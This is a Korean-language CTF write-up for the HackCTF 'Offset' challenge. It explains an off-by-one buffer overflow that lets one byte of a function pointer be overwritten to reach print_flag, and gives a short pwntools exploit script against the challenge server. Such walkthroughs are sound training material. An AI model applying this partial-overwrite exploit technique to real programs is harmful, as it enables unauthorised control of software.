HACKCTF - Offset

2020. 7. 15. 15:20CTF's Write-up

문제화면

 

실행시켜보면

 

호출하고싶은 함수를 입력해달라고 한다.

 

메인 코드를 보면

 

메인코드

 

다음과 같다.

9번줄에서 입력을 받고, 입력받은 내용을 그대로 10번째줄에 select_func함수에 넘긴다.

 

 

 

select_func 함수

 

6번째줄에서 v3 에 two 를 넣고

7번째 줄에서 인자로 받은 src 를 dest에 넘긴다. 여기서 0x1f만큼 넘기게 되는데

dest 가 0x2a이고, v3 가 0xc 라서 두 함수의 차이는 30인데 31만큼 넘겨서 bof가 일어난다.

여기서 무엇을 덮을지 생각하다가

 

 

print_flag 함수

 

flag를 출력하는 함수를 발견하였고, 이 함수로 넘기면 될것이라고 생각하였다.

 

 

함수 주소 목록

 

print_flag 함수가 0x000006d8이고

two 함수의 주소가 0x000006ad 이므로 0x000006까지는 같고 뒤에 1바이트만 다르니까 뒤에 1바이트만 덮어주면 된다고 생각할 수 있

다.

 

버퍼주소

desk[0x2a]이고, v3[0xc]이므로 0x2A-0xC이므로 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
#r = process("./offset")
= remote("ctf.j0n9hyun.xyz"3007)
= ELF("./offset")
context.log_level = 'debug'
 
r.recv()
 
payload = ""
payload += "A"*(0x2a-0xc)
payload += p32(0xD8)
 
r.send(payload)
 
r.interactive()
cs

 

위와 같이 익스 코드를 작성할 수 있습니다.

 

실행시키면

실행화면

 

이와 같습니다.(grin) 

 

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - Guess me  (0) 2020.07.15
[보호]HACKCTF - Authenticate  (0) 2020.07.15
HACKCTF -Time  (0) 2020.07.15
HACKCTF - Read File  (0) 2020.07.14
HACKCTF - 보물  (0) 2020.07.14